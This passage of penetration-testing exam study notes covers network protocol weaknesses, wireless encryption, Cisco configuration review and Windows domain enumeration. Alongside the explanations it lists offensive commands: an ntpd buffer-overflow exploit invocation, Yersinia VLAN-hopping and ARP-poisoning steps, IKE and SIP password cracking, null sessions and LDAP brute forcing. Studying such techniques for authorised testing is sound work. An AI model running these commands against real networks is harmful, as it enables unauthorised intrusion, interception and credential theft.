ntpq –c readvar <ip address>	details of OS/version
ntpq –c peers <ipaddres>	ntp peers
ntpdc -n -c monlist <ip address>	last 600 clients (good for targets info)

metasploit (aux - scanner/ntp/ntp_monlist)

Specific NTP vulnerabilities:
RH7 ntpd Remote Buffer Overflow Vulnerability

```
./ntpd-exp-rh7.0 -t2 <ip address>
```

D2 - Network Traffic Analysis

D2a - Techniques for local network traffic analysis

Wireshark has a graphical user interface and lots of protocol dissectors so it easy to use. Wireshark can use pcap capture filters and also its own display filters. Follow TCP/UDP streams are very useful for communication protocol analysis.

Linux command line:

```
tcpdump -nxvvv -C 20 -w capture
tcpdump -nxv -r capture <filter>
```

Capture filter examples:

```
host 172.18.5.4
net 192.168.0.0/24
src net 192.168.0.0/24
dst net 192.168.0.0/24
port 53
host 10.1.1.1 and port 80
host 10.1.1.1 and not (port 80 or port 25)
port not 53 and not arp
tcp portrange 1501-1549
ip
```

D2b - Analysis of network traffic stored in PCAP files

Load into Wireshark
or

```
tcpdump -r <capturefile>
```

D3 - Networking Protocols

D3a - Security issues relating to the networking protocols:

- ### ARP

ARP Spoofing enables sniffing traffic on a switch LAN and performing man-in-the-middle attacks. ARP can be abused by sending gratuitous ARP messages saying “I am IP”. This can be done both ways to fool other hosts into sending the traffic via your host rather than the real target. You then forward the traffic onto its real destination and do the same attack on the return traffic.
Gratuitous ARP could mean either gratuitous ARP request or gratuitous ARP reply. Gratuitous in this case means a request/reply that is not normally needed according to the ARP specification (RFC 826) but could be used in some cases. A gratuitous ARP request is an AddressResolutionProtocol request packet where the source and destination IP are both set to the IP of the machine issuing the packet and the destination MAC is the broadcast address ff:ff:ff:ff:ff:ff. Ordinarily, no reply packet will occur. A gratuitous ARP reply is a reply to which no request has been made.

Tools:

```
•  Cain           (windows)
•  Ettercap       (linux)
```

- ### DHCP

Rogue DHCP servers could be setup on a network causing denial or service. An attacker could set up a DHCP service and if network client received DHCP responses from this before the real DHCP server then the attacker controls what IP addresses are used. An attacker could allocate server IP addresses to DHCP clients causing IP address duplications and potential denial of service to other hosts and services on the network.

Additionally as DHCP is a broadcast protocol anyone with the ability to sniff network traffic will see these communications. Observing DHCP request and relies will identify targets and can help identify devices types based on the MAC OUI (organisation unique identifier). DHCP responses will also contain the gateway IP, DNS server IPs, and potentially other key network services details (e.g. WINS).

CDP

The Cisco Discovery Protocol (CDP) is a proprietary Data Link Layer network protocol developed by Cisco Systems that is implemented in most Cisco networking equipment and is used to share information about other directly connected Cisco equipment, such as the operating system version and IP address. CDP can also be used for On-Demand Routing, which is a method of including routing information in CDP announcements so that dynamic routing protocols do not need to be used in simple networks. CDP is not routed and is only accessible to the local segment.

Information disclosure from CDP such as device & OS version, IP address and VLAN ID by sniffing network traffic

It is also possible to DoS routers via CDP flooding.

Attack Tools:

```
yersinia
```

HSRP

Hot Standby Router Protocol (HSRP) is a Cisco proprietary redundancy protocol for establishing a fault-tolerant default gateway. The protocol establishes a framework between network routers in order to achieve default gateway failover if the primary gateway should become inaccessible. HSRP sends its hello messages to the multicast address 224.0.0.2 (all routers) using UDP port 1985, to other HSRP-enabled routers, defining priority between the routers. The primary router with the highest configured priority will act as a virtual router with a pre-defined gateway IP and will respond to the ARP request from machines connected to the LAN with the mac address 0000.0c07.acXX where XX is the group ID in hex. If the primary router should fail, the router with the next-highest priority would take over the gateway IP and answer ARP requests with the same mac address, thus achieving transparent default gateway fail-over.

HSRP traffic is multicast so can be captured by sniffing the network. The password is in clear text, often as the default 'cisco' so can easily be captured.
By faking HSRP messages an attacker can become an ACTIVE element and then all traffic is routed via them. This allows man-in-the-middle attacks.

By faking HSRP messages an attacker can become an ACTIVE element and then all traffic is routed via them. This allows man-in-the-middle attacks.

The attacker can fake an ACTIVE element with an incorrect IP to cause a network DOS.

Attack Tools:

```
yersinia
```

VRRP

The Virtual Router Redundancy Protocol (VRRP) is a standards-based alternative to HSRP defined in IETF standard RFC 3768. The two technologies are similar in concept, but not compatible.

Same attacks apply to VRRP as to HSRP.

VTP

VLAN Trunking Protocol (VTP) is a Cisco proprietary Layer 2 messaging protocol that manages the addition, deletion, and renaming of Virtual Local Area Networks (VLAN) on a network-wide basis. Cisco's VLAN Trunk Protocol reduces administration in a switched network. When a new VLAN is configured on one VTP server, the VLAN is distributed through all switches in the domain. This reduces the need to configure the same VLAN everywhere. To do this, VTP carries VLAN information to all the switches in a VTP domain.

VTP may operate unauthenticated, in which case an attacker can easily inject spoofed VTP packets in order to add/delete VLAN information. Tools such as Yersinia are freely available to do that. A password can be set for the VTP domain: it is used in conjunction with the MD5 hash function to provide authentication of VTP packets. However, this optional password authentication should not conceal the fact that it is very risky to use VTP in sensitive environments.

Attack Tool:

```
yersinia
```

• STP

The Spanning tree protocol (STP) is a link layer network protocol that ensures a loop-free topology for any bridged LAN. Thus, the basic function of STP is to prevent bridge loops and ensuing broadcast radiation. STP uses the Spanning Tree Algorithm (STA), which senses that the switch has more than one way to communicate with a node, determines which way is best, and blocks out the other path(s). Each switch chooses which network paths it should use for each segment. This information is shared between all the switches by network frames called Bridge Protocol Data Units (BPDUs). There is no authentication in STP so spoofing is possible. Protection against spoofing is via ACLs or switch configurations such as bdpuguard and disabling STP on ports that don't require it.
A multi-homed attacker on a participating STP area has the ability to fake a lower STP bridge priority than that of a current root bridge. If this occurs, an attacker can assume the root bridge function and affect active STP topology, thus redirecting all the network traffic through the attacker's system.

Disabling the STP root switch will also result in a network DOS.

Attack Tool:

```
yersinia
```

• TACACS+

TACACS+ (Terminal Access Controller Access-Control System Plus) is a Cisco proprietary protocol which provides access control for routers, network access servers and other networked computing devices via one or more centralized servers. TACACS+ provides separate authentication, authorization and accounting services. TACACS+ uses TCP port 49. The packet body is encrypted but the header is not.

Issues:

- Lack of integrity checking so accounting records can be altered while in transmission. As an MD5-based stream cipher used to encrypt TACACS+ packets, an attacker with access to the wire flip most of the bits in the packet (which affects the plaintext in the same way) without the change getting detected. In particular, it is possible to make meaningful changes to accounting packets, such as modifying an elapsed_time from 9000 to 1000 with the flip of one bit.
- Vulnerability to replay attacks so duplicate accounting records can be produced, possibly with forged task_id fields to avoid detection. Since all TACACS+ sessions start with a sequence number of 1, the TACACS+ server will always process a packet with seq_no set to 1. Accounting sessions, which consist of only one packet sent to the server (with a seq_no of 1) so it is easy to replay these packet.
- It is possible to force session_id collisions so the encryption of reply packets can be compromised. Due to its use of a stream cipher, the strength of TACACS+ encryption depends heavily on unique session_id's for each session. If two different packets happen to get the same session_id and the same seq_no, they both become vulnerable to simple frequency analysis attacks. Additionally, if there's known plaintext in one of the packets, the corresponding parts of the other can trivially be decrypted. It is possible to get the TACACS+ server to encrypt a reply packet using a session_id of our choice. Combined with our ability to replay packets sent to a TACACS+ server, this lets us compromise the encryption of most of the packets on the way back.
- Lack of padding in the encryption so the lengths of user passwords can be determined. The lengths of variable size data fields can often be determined from the packet sizes – an attacker only needs a way to find out which packets contain the information they are looking for. This task is simplified by the fact that sequence numbers and packet types are transmitted in the clear. In the case of determining password lengths, the corresponding usernames can be obtained via finger to the NAS or similar approaches.

--

VLAN Hopping (not in CREST syllabus)

VLAN Hopping is an exploitation method used to attack a network with multiple VLANs. It is an attack that involves an attacking system to deploy packets. These packets have a destination of a system on a separate VLAN which would, in normal circumstances, not be accessible by the attacker. VLAN Hopping attacks are primarily conducted within the Dynamic Trunking Protocol (DTP). Often, VLAN Hopping attacks are directed at the trunking encapsulation protocol (802.1q or ISL).

Malicious traffic used for VLAN Hopping is tagged with a VLAN ID destined outside the VLAN on which the system conducting the attacks belongs to. An attacker can also attempt to behave and look like a switch, which will negotiate trunking, allowing the attacker to not only send, but receive traffic across more than one VLAN.

There are two common methods of VLAN Hopping; Switch Spoofing and Double Tagging.

- Switch Spoofing

A Switch Spoofing attack is used to exploit the network by configuring a system to mimic a switch. This is not always an easy attack to perform, as it requires the attacker to be able to emulate itself as ISL or 802.1q, thus signaling with Dynamic Trunk Protocol signaling. This attack method allows a malicious user to mimic a machine as a switch with a trunking port. If the attack is successful, it then has a membership across all VLANs.

- Double Tagging

Double Tagging is an attack which postulates that the attacker tags transmitted frames, with split headers, both of which as 802.1q headers. This will allow the frames to be forwarded into the wrong VLAN. Double Tagging works because the first switch that the frames reach strips the first of the two 802.1q headers, and then forwards the frame with the second header destined for the victim VLAN. The conclusion of the stripped first 802.1q header is that the frame is forwarded with the inner header, out of all switch ports, and trunk ports that are configured with the native VLAN where the attacker resides. The secondary switch will then forward the stripped frame to the second VLAN identifier, thus VLAN Hopping occurs.

Yersinia is a GNU/Linux framework that takes advantage of some of the weaknesses in different network protocols. It can be used for analyzing and testing deployed networks and systems. To use Yersinia for a VLAN Hopping attack, the following steps may be followed:

1. Start Yersinia via the command line by typing: yersinia -I.
2. Select a NIC you wish to use by pressing “i”.
3. Set Yersinia to trunking mode:
    a. Load DTP mode by pressing the “g” key, then select DTP mode.
    b. Press the “x” button to open the attacks menu.
    c. Press “1” to enable trunking mode.
4. Set Yersinia to 802.1q mode by pressing the “g” key and selecting 802.1Q mode.
5. The following needs to be obtained via reconnaissance for this attack to work:
    a. Victim's VLAN
    b. Victim's gateway IP Address.
    c. A host in the victim's network segment that is not alive.

The following will perform an ARP Poisoning attack to assist in man-in-the-middle attacks:
1. Press 'd' to initialize default values, and then press 'x' to open the attack panel.
2. Select 2; “sending 802.1Q arp poisoning”
3. Fill in the information gathered by reconnaissance in step 5. The attack will take place.

D4 – IPSec

D4a - Enumeration and fingerprinting of devices running IPSec services

Security Association and key Management Protocol (ISAKMP) is accessible through UDP port 500, and provides Internet Key Exchange (IKE) support for IPsec VPN tunnels. IKE is used as the authentication mechanism when establishing an IPsec connection; it supports three authentication methods: pre-shared keys, public key encryption, or digital signatures. IKE is split into two phases, each of which has its own distinct purpose. IKE Phase 1 IKE Phase 1's main purpose is to authenticate the two communicating parties with each other and then set up a secure channel for IKE Phase 2. This can be done in one of two ways:

- Main mode - In three two-way handshakes (a total of 6 messages), Main mode authenticates both parties to each other. This process first establishes a secure channel in which authentication information is then exchanged securely between the two parties.
- Aggressive mode - In only three messages, Aggressive mode accomplishes the same overall goal of main mode but in a faster, notably less secure fashion. Aggressive mode does not provide a secure channel to protect authentication information which ultimately exposes it to eavesdropping attacks.

IKE Phase 2 IKE Phase 2's final aim is to establish the IPSec tunnel, which it does with the help of IKE Phase 1.

Identifying IPsec VPNs:

```
nmap –sU –p 500 <targets>                port scan
ike-scan –M <targets>                    indentifies IPsec VPN devices
```

ike-scan will identify all vpn devices but some may response with notify rather than handshake responses. A handshake means the device is willing to perform IKE negotiation. A notify response means that the device is not willing to negotiate (i.e. it only accepts requests from certain IPs), or we didn't supply acceptable transforms. We can try different transforms with ike-scan using the following script:

```
./ike-scan/try-transforms.sh <targets>
```

Using udp backoff timing analysis ike-scan can also fingerprint device types:

```
ike-scan –M –showbackoff <target>
```

Check if aggressive mode is enabled:

```
ike-scan –A –M <target>
```

If aggressive mode is enabled check if is vulnerable with ikeprobe:

```
ikeprobe.exe <target>
```

With aggressive mode you can crack the PSK using Cain or ikecrack:

```
tcpdump -nxq -w logfile.data

./ikecrack-snarf-1.00.pl <target.port>
```

Cain can also be used but in both cases we need to see client authentication attempts. However, it does not matter is incorrect passwords are used as we are targeting information sent from the server.

D5 – VoIP

D5a - Enumeration and fingerprinting of devices running VoIP services

Voice over IP (VoIP) is a very generic term that is used to describe the transport of voice on top of an IP network. A VoIP deployment can range from a very basic setup to enable a point-to-point communication between two users to a full carrier-grade infrastructure in order to provide new communication services to customers and end users. Most VoIP solutions rely on multiple protocols, at least one for signalling and one for transport of the encoded voice traffic. Currently, the two most common signalling protocols are H.323 and Session Initiation Protocol (SIP), and their role is to manage call setup, modification, and closing. H.323 is actually a suite of protocols defined by the International Telecommunication Union (ITU), and the encoding is ASN.1. The deployed base is still larger than SIP, and it was designed to make integration with the public switched telephone network (PSTN) easier.

The Real-time Transport Protocol (RTP) transports the encoded voice traffic. The control channel for RTP is provided by the Real-time Control Protocol (RTCP) and consists mainly of quality of service (QoS) information (delay, packet loss, jitter, and so on). RTP runs on top of UDP, and both the source and destination port may be dynamic (5004/UDP is common). RTP doesn't handle the QoS, because this needs to be provided by the network (packet/frame marking, classification, and queuing).
There's one major difference between traditional voice networks using a PBX and a VoIP setup: In the case of VoIP, the RTP stream doesn't have to cross any voice infrastructure device, and it is exchanged directly between the endpoints (that is, RTP is phone-to-phone).

To enumerate SIP devices use svmap.pl from sipvicious

```
svmap.py <target IP range>                      map SIP servers
svwar.pl <ip address>                           identify extentions
svcrack.pl <ip> -u <ext>   -d pass.txt          crack passwords for <ext>

sipscan.exe is also a GUI based tool to enumerate details from a VOIP/SIP server
```

D5b - Knowledge of the SIP protocol

SIP is the Internet Engineering Task Force (IETF) protocol, and the number of deployments using it or migrating over from H.323 is growing rapidly. SIP is not only used to signal voice traffic, but it also drives a number of other solutions and tools, such as instant messaging (IM). Normally operating on TCP/UDP 5060, SIP is similar in style to the HTTP protocol, and it implements different methods and response codes for session establishment and teardown. These methods and response codes are summarized in the following tables:

Method	Description
INVITE	Initiation message for a new conversation
ACK	Invites acknowledgement
BYE	Terminates an existing session
CANCEL	Cancels all pending requests
OPTIONS	Identifies server capabilities
REGISTER	SIP location registration

Just like HTTP, responses are categorized by code:

Error Code	Description
SIP 1xx	Informational response messages
SIP 2xx	Successful response messages
SIP 3xx	Redirection responses
SIP 4xx	Client request failure

D6 – Wireless

D6a - Enumeration and fingerprinting of devices running Wireless (802.11) services

• Netstumbler.exe	Windows GUI tool – active scanning but see becons too
• Kismet	Linux tool – passive scanning – can identity all encryption types

D6b - Knowledge of various options for encryption and authentication, and the relative methods of each

- **WEP**
- Wired Equivalent Privacy (WEP) is a deprecated algorithm to secure IEEE 802.11 wireless networks. Wireless networks broadcast messages using radio and are thus more susceptible to eavesdropping than wired networks. When introduced WEP was intended to provide confidentiality comparable to that of a traditional wired network. However, several serious weaknesses were identified by cryptanalysts with the result that today a WEP connection can be cracked with readily available software within minutes.
- WEP uses the stream cipher RC4 for confidentiality, and the CRC-32 checksum for integrity. Standard 64-bit WEP uses a 40 bit key, which is concatenated with a 24-bit initialization vector (IV) to form the RC4 traffic key. A 128-bit WEP key has the same 24-bit IV and 104bits for encryption.

- Two methods of authentication can be used with WEP: Open System authentication and Shared Key authentication. Open System authentication is preferable as it is possible to derive the keystream used for the handshake by capturing the challenge frames in Shared Key authentication.
    - Open System authentication - the WLAN client need not provide its credentials to the Access Point during authentication. After the authentication and association, WEP can be used for encrypting the data frames. At this point, the client needs to have the right keys.
    - Shared Key authentication- the WEP key is used for authentication. A four-way challenge-response handshake is used:
        - The client station sends an authentication request to the Access Point.
        - The Access Point sends back a clear-text challenge.
        - The client has to encrypt the challenge text using the configured WEP key, and send it back in another authentication request.
        - The Access Point decrypts the material, and compares it with the clear-text it had sent. Depending on the success of this comparison, the Access Point sends back a positive or negative response.

      After the authentication and association, the pre-shared WEP key is also used for encrypting the data frames using RC4.
- Because RC4 is a stream cipher, the same traffic key must never be used twice. The purpose of an IV, which is transmitted as plain text, is to prevent any repetition, but a 24-bit IV is not long enough to ensure this on a busy network. The way the IV was used also opened WEP to a related key attack. For a 24-bit IV, there is a 50% probability the same IV will repeat after 5000 packets.

- **TKIP**

- Temporal Key Integrity Protocol or TKIP is a security protocol used in the IEEE 802.11 wireless networking standard. TKIP was designed to replace WEP without requiring the replacement of legacy hardware. This was necessary because the breaking of WEP had left WiFi networks without viable link-layer security, and a solution was required for already deployed hardware.
- TKIP and the related WPA standard, implement three new security features to address security problems encountered in WEP protected networks. First, TKIP implements a key mixing function that combines the secret root key with the initialization vector before passing it to the RC4 initialization. Second, WPA implements a sequence counter to protect against replay attacks by rejecting packets received out of order at the access point. Finally, TKIP implements a 64-bit message integrity check named MICHAEL. TKIP ensures that every data packet is sent with a unique encryption key.
- TKIP uses the same underlying mechanism as WEP, and consequently is vulnerable to a number of similar attacks. The message integrity check, per-packet key hashing, broadcast key rotation, and a sequence counter discourage many attacks. The key mixing function also eliminates the WEP key recovery attacks. Notwithstanding these changes, the weakness of some of these additions have allowed for new, although narrower, attacks.
- TKIP is vulnerable to a keystream recovery attack that, if successfully executed, permits an attacker to transmit 7-15 packets of the attacker's choice on the network. The attack is an extension of the WEP chop-chop attack. Because WEP utilizes a cryptographically insecure checksum mechanism (CRC32), an attacker can guess individual bytes of a packet, and the wireless access point will confirm or deny whether or not the guess is correct. If the guess is correct, the attacker will be able to detect the guess is correct and continue to guess other bytes of the packet. However, unlike the chop-chop attack against a WEP network, the attacker must wait for at least 60 seconds after a correct guess (a successful circumvention of the CRC32 mechanism) before continuing the attack. This is because although TKIP continues to use the CRC32 checksum mechanism, it implements an additional MIC code named Michael. If two incorrect Michael MIC codes are received within 60 seconds, the access point will implement countermeasures, meaning it will rekey the TKIP session key, thus changing future keystreams. Accordingly, TKIP attack will wait an appropriate amount of time to avoid these countermeasures. Because ARP packets are easily identified by their size, and the vast majority of the contents of this packet would be known to an attacker, the number of bytes an attacker must guess using the above method is rather small (approximately 14 bytes). Recovery of 12 bytes is possible in about 12 minutes on a typical network. An attacker already has access to the entire ciphertext packet. Upon retrieving the entire plaintext of the same packet, the attacker has access to the keystream of the packet, as well as the MIC code of the session. Using this information the attacker can construct a new packet and transmit it on the network. To

circumvent the WPA implemented replay protection, attack utilizes QoS channels to transmit these newly constructed packets. An attacker able to transmit these packets may be able to implement any number of attacks, including ARP poisoning attacks, denial of service, and other similar attacks. Further refinements on the attack have been made, enabling attackers to inject a larger malicious packet (596 bytes, to be more specific) within approximately 18 minutes and 25 seconds.

- ## WPA/WPA2
- Wi-Fi Protected Access (WPA and WPA2) are wireless communication protection system produced in response to several serious weaknesses researchers had found in the previous system, WEP (Wired Equivalent Privacy).
- Pre-shared key mode (PSK, also known as Personal mode) is designed for home and small office networks that don't require the complexity of an 802.1X authentication server. Each wireless network device encrypts the network traffic using a 256 bit key. This key may be entered either as a string of 64 hexadecimal digits, or as a passphrase of 8 to 63 printable ASCII characters. Shared-key WPA remains vulnerable to password cracking attacks if users rely on a weak passphrase. To further protect against intrusion the network's SSID should not match any entry in the top 1000 SSIDs.
- A WPA weakness exists which relied on a previously known flaw in WEP that could be exploited only for the TKIP algorithm in WPA. The flaw does not lead to key recovery, but only a keystream that encrypted a particular packet, and which can be reused as many as seven times to inject arbitrary data of the same packet length to a wireless client. For example, this allows someone to inject faked ARP packets which makes the victim send packets to the open Internet. This attack was further optimised enabling attackers to inject larger malicious packets (596 bytes, to be more specific) within approximately 18 minutes and 25 seconds. This does not affect WPA2 systems that use the stronger CCMP algorithm.
- WPA- and WPA2- Enterprise integrate the use of EAP to perform 802.1x authentication via a remote authentication server and 802.1x enabled clients.

- ## EAP/LEAP/PEAP
- The Wi-Fi alliance has announced the inclusion of additional EAP (Extensible Authentication Protocol) types to its certification programs for WPA- and WPA2- Enterprise certification programs. This was to ensure that WPA-Enterprise certified products can interoperate with one another. Previously, only EAP-TLS (Transport Layer Security) was certified by the Wi-Fi alliance.
- The EAP types now included in the certification program are:
    - EAP-TLS (previously tested)
    - EAP-TTLS/MSCHAPv2
    - PEAPv0/EAP-MSCHAPv2
    - PEAPv1/EAP-GTC
    - EAP-SIM

- EAP-TLS – this was the first EAP authentication technique required for WPA/WPA2 compatibility. EAP-TLS is very secure. It uses client- and server-side certificates to authenticate all users in a network – this is also its major downfall. Managing certificates for all users in an organisation of any size can be a daunting challenge. Most organisations just don't have in place the level of PKI required. Attacking the EAP-TLS protocol head on is pretty much impossible.

- LEAP – lightweight EAP is a Cisco propriety protocol. Important features of LEAP are dynamic WEP keys and mutual authentication (between a wireless client and a RADIUS server). LEAP allows for clients to reauthenticate frequently; upon each successful authentication, the clients acquire a new WEP key (with the hope that the WEP keys don't live long enough to be cracked). LEAP may be configured to use TKIP WPA instead of dynamic WEP. However leap is deployed it is vulnerable to to a severe security problem. LEAP uses a modified version of MS-CHAP, an authentication protocol in which user credentials are not strongly protected. Automated tools like ASLEAP demonstrate the simplicity of getting unauthorized access in networks protected by LEAP implementations

- PEAP - Protected Extensible Authentication Protocol is similar in design to EAP-TTLS, requiring only a server-side PKI certificate to create a secure TLS tunnel to protect user authentication, and uses server-side public key certificates to authenticate the server. It then creates an encrypted TLS tunnel between the client and the authentication server. In most configurations, the keys for this encryption are transported using the server's public key. The ensuing exchange of authentication information inside the tunnel to authenticate the client is then encrypted and user credentials are safe from eavesdropping. Vulnerable to man-in-the-middle attacks if the client doesn't validate the servers certificate

D7 - Configuration Analysis

D7a - Analysing configuration files from the following types of Cisco equipment:

- ### Routers

Same as switch really (see below).

```
nipper -ios-router -input=<conf file> --output=report.html
```

- ### Switches

Use nipper:

```
nipper -ios-switch -input=<conf file> --output=report.html
```

On the following:

```
switch02#sh run
Building configuration...

Current configuration : a number of bytes
!
! Last configuration change at sometime Fri June 10 2006 by anyone
! NVRAM config last updated at sometime Sat August 2 2006 by anyone
!

version 12.3
service tcp-keepalives-out
!
hostname switch02
!
clock timezone GMT 0
clock summer-time GMT recurring
ip domain-name nipper.org
privilege exec level chicken
enable password cisco
username temp privilege 15 password 7 095C4F1A0A1218000F
username testuser privilege 15 password 7 095C4F1A0A1218000F
boot network
service finger
service tcp-small-servers
service udp-small-servers
snmp-server community public RO 20
snmp-server community private RW 20
snmp-server location Somewhere
snmp-server host 192.168.20.30 private snmp
snmp-server host 192.168.20.40 private snmp
!
interface GigabitEthernet1/1
 description First interface on switch
 speed 100
 duplex full
 ip address 10.0.0.1
 ip directed-broadcast
 switchport mode trunk
 ip mask-reply
!
interface GigabitEthernet1/2
 description Second interface on switch
 speed 100
 duplex full
 ip address 10.0.0.2
 ip directed-broadcast
 switchport mode trunk
 ip mask-reply
!
ip access-list extended named-acl-1
 deny ip host 172.168.2.3 any
 deny ip host 10.8.10.11 any
 permit ip any any
ip access-list extended named-acl-2
 permit ip host 192.168.76.4 any
 permit ip host 172.18.19.1 any
access-list 110 permit tcp any
access-list 120 permit ip 50.60.0.0 0.0.255.255 any
access-list 120 permit tcp any eq ftp any log-input
access-list 120 permit tcp any host 192.168.30.40 eq snmp
access-list 120 permit tcp any host 192.168.30.56 eq 9876
access-list 40 permit 192.168.2.1
access-list 40 permit 172.10.1.35
access-list 40 permit 10.0.0.1
access-list 40 permit 192.168.0.1
access-list 40 deny   any log
!
line con 0
 session-timeout 25
 password 7 095C4F1A0A1218000F
 login
 transport input telnet ssh
line aux 0
 session-timeout 25
line vty 0 4
 password 7 095C4F1A0A1218000F
 login
 transport input all
!
end

switch02#
```

D7b - Interpreting the configuration of other manufacturers' devices

Read it and see but if all else fails use Google and obtain the admin guide.

Or cheat and use nipper again:

Device Switches:

```
    --ios-switch          Cisco IOS-based Switch
    --ios-router          Cisco IOS-based Router (default)
    --ios-catalyst        Cisco IOS-based Catalyst
    --pix                 Cisco PIX-based Firewall
    --asa                 Cisco ASA-based Firewall
    --fwsm                Cisco FWSM-based Router
    --catos               Cisco CatOS-based Catalyst
    --nmp                 Cisco NMP-based Catalyst
    --css                 Cisco Content Services Switch
    --screenos            Juniper NetScreen Firewall
    --passport            Nortel Passport Device
    --sonicos             SonicWall SonicOS Firewall
    --fw1                 CheckPoint Firewall-1 Firewall
    --nokiaip             Nokia IP Firewall
    --accelar             Bay Networks Accelar
```

Microsoft Windows Security Assessment

ID	Skill	Detail	Exam
E1	Domain Reconnaissance	Identifying domains/workgroups and domain membership within the target network. Identifying key servers within the target domains. Identifying and analysing internal browse lists. Identifying and analysing accessible SMB shares	MC LF P
E2	User Enumeration	Identifying user accounts on target systems and domains using NetBIOS, SNMP and LDAP.	MC P
E3	Active Directory	Active Directory Roles (Global Catalogue, Master Browser, FSMO) Reliance of AD on DNS and LDAP Group Policy (Local Security Policy)	MC P
E4	Windows Passwords	Password policies (complexity, lockout policies) Account Brute Forcing Hash Storage (merits of LANMAN, NTLMv1 / v2) Offline Password Analysis (rainbow tables / hash brute forcing)	MC LF P
E5	Windows Vulnerabilities	Knowledge of remote windows vulnerabilities, particularly those for which robust exploit code exists in the public domain. Knowledge of local windows privilege escalation vulnerabilities and techniques. Knowledge of common post exploitation activities: • obtain password hashes, both from the local SAM and cached credentials • obtaining locally-stored clear-text passwords • crack password hashes • check patch levels • derive list of missing security patches • reversion to previous state	MC LF P
E6	Windows Patch Management Strategies	Knowledge of common windows patch management strategies: • SMS • SUS • WSUS • MBSA	MC P
E7	Desktop Lockdown	Knowledge and understanding of techniques to break out of a locked down Windows desktop / Citrix environment.	MC P

		Privilege escalation techniques.	
E8	Exchange	Knowledge of common attack vectors for Microsoft Exchange Server.	MC
E9	Common Windows Applications	Knowledge of significant vulnerabilities in common windows applications for which there is public exploit code available.	MC P

E1 - Domain Reconnaissance

E1a - Identifying domains/workgroups and domain membership within the target network

Identity Windows domains/workgroups with net view

```
c:\ net view /domain
```

Domain members:

```
c:\net view /domain:<domain name>
```

A better tools is NBTscan then find domain and netbios name table for each host

```
nbtscan –vh –s: <ipaddress range>
nbtscan –vh -r –s: <ipaddress range>    (uses local port udp 137 to find Win95)
```

Linux tool:

```
nmbscan -d          domain list
nmbscan -m          domain list with master browser
nmbscan -a          domain list, master browser , and servers
```

E1b - Identifying key servers within the target domains

```
netview /T /NTW /domain:<name>          workstations
netview /T /NTS /domain:<name>          servers
netview /T /PDC /domain:<name>          primary (NT) domain controllers
netview /T /BDC /domain:<name>          NT backup domain controllers
netview /T /PRINT /domain:<name>        Print queue servers
netview /T /RAS /domain:<name>          Remote Access Servers
netview /T /SQL /domain:<name>          Microsoft SQL Servers
netview /T /TIME /domain:<name>         Time sources
netview /T /TS /domain:<name>           Terminal Servers (full TS servers)
netview /T /9x /domain:<name>           Windows 95/98/ME systems
```

E1c - Identifying and analysing internal browse lists

```
nbtstat –A <IP address>                 single host
nbtscan -v -s: <ipaddress range>        full range
nmap -sC                                Script scan shows NBT browser list
```

Name	**No.**	**Type**	**Usage**
<computername>	00	U	Workstation Service
<computername>	01	U	Messenger Service
<\\--__MSBROWSE__>	01	G	Master Browser
<computername>	03	U	Messenger Service
<computername>	06	U	RAS Server Service
<computername>	1F	U	NetDDE Service
<computername>	20	U	File Server Service
<computername>	21	U	RAS Client Service
<computername>	22	U	MA Exch Interchange(MSMail Connector)
<computername>	23	U	Microsoft Exchange Store
<computername>	24	U	Microsoft Exchange Directory
<computername>	30	U	Modem Sharing Server Service
<computername>	31	U	Modem Sharing Client Service

```
<computername>             43    U      SMS Clients Remote Control
<computername>             44    U      SMS Administrators Remote Control Tool
<computername>             45    U      SMS Clients Remote Chat
<computername>             46    U      SMS Clients Remote Transfer
<computername>             4C    U      DEC Pathworks TCPIP svc on Windows NT
<computername>             42    U      mccaffee anti-virus
<computername>             52    U      DEC Pathworks TCPIP svc on Windows NT
<computername>             87    U      Microsoft Exchange MTA
<computername>             6A    U      Microsoft Exchange IMC
<computername>             BE    U      Network Monitor Agent
<computername>             BF    U      Network Monitor Application
<username>                 03    U      Messenger Service
<domain>                   00    G      Domain Name
<domain>                   1B    U      Domain Master Browser
<domain>                   1C    G      Domain Controllers
<domain>                   1D    U      Master Browser
<domain>                   1E    G      Browser Service Elections
<INet~Services>            1C    G      IIS
<IS~computer name>         00    U      IIS
<computername>             [2B]  U      Lotus Notes Server Service
IRISMULTICAST              [2F]  G      Lotus Notes
IRISNAMESERVER             [33]  G      Lotus Notes
Forte_$ND800ZA             [20]  U      DCA IrmaLan Gateway Server Service
```

E1d - Identifying and analysing accessible SMB shares

null sessions:

```
net use \\<ip_address>\IPC "" /u:""
```

enum share enumeration:

```
enum.exe –S <ip address>
enum4linux.pl –S <IP address>
enum4linux.pl –s share-list.txt <ip address>          (bruteforce shares)
```

shares:

```
shareenum.exe       (sysinternals GUI – all shared in domain)
```

E2 - User Enumeration

E2a - Identifying user accounts on target systems and domains using NetBIOS, SNMP and LDAP

Netbios (restrict anonymous = 0):

```
enum –U <ip address>
```

Netbios (restrict anonymous = 1 [rid cycling]):

```
getacct.exe                             windows GUI
enum4linux –r <target>
```

SNMP:

```
snmpcheck.pl -t <target> -w -c public         nice output + checks write
getif.exe
```

LDAP:

```
ldp.exe      windows support tool (need creds for tcp/389 or GC tcp/3268)

ldapsearch –H ldap://<target> -s base -x      linux version

ldapenum.pl –U –E -i <ip>  -u <username> -p <password> -d <fqdn>
```

LDAP bruteforce (windows 2000):

```
bf_ldap –s <ipaddress> -u <users> -L <passwords>-d <domain>
```

E3 - Active Directory

E3a - Active Directory Roles (Global Catalogue, Master Browser, FSMO)

Active Directory:

Active Directory is a technology created by Microsoft that provides a variety of network services, including:

- Lightweight Directory Access Protocol (LDAP)-like directory services
- Kerberos-based authentication
- DNS-based naming and other network information
- Central location for network administration and delegation of authority
- Information security and single sign-on for user access to networked based resources
- The ability to scale up or down easily
- Central storage location for application data
- Synchronization of directory updates amongst several servers

Using the same database, for use primarily in Windows environments, Active Directory also allows administrators to assign policies, deploy software, and apply critical updates to an organization. Active Directory stores information and settings in a central database. Active Directory networks can vary from a small installation with a few computers, users and printers to tens of thousands of users, many different domains and large server farms spanning many geographical locations.

Global Catalogue:

